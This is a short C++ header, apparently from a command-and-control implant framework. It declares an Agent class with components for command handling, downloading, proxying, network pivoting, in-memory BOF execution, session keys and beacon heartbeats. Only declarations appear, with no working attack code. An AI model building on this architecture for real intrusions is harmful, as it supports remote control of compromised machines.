2026-04-06 00:20:51 -05:00

43 lines
854 B
C++

#pragma once
#include "AgentInfo.h"
#include "AgentConfig.h"
#include "Downloader.h"
#include "JobsController.h"
#include "MemorySaver.h"
#include "Proxyfire.h"
#include "Pivotter.h"
#include "Commander.h"
#include "Boffer.h"
class Commander;
class Boffer;
class Agent
{
public:
AgentInfo* info = NULL;
AgentConfig* config = NULL;
Commander* commander = NULL;
Downloader* downloader = NULL;
JobsController* jober = NULL;
MemorySaver* memorysaver = NULL;
Proxyfire* proxyfire = NULL;
Pivotter* pivotter = NULL;
Boffer* asyncBofMgr = NULL;
Map<CHAR*, LPVOID> Values;
BYTE* SessionKey = NULL;
BOOL Active = TRUE;
Agent();
BOOL IsActive();
ULONG GetWorkingSleep();
BYTE* BuildBeat(ULONG* size);
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};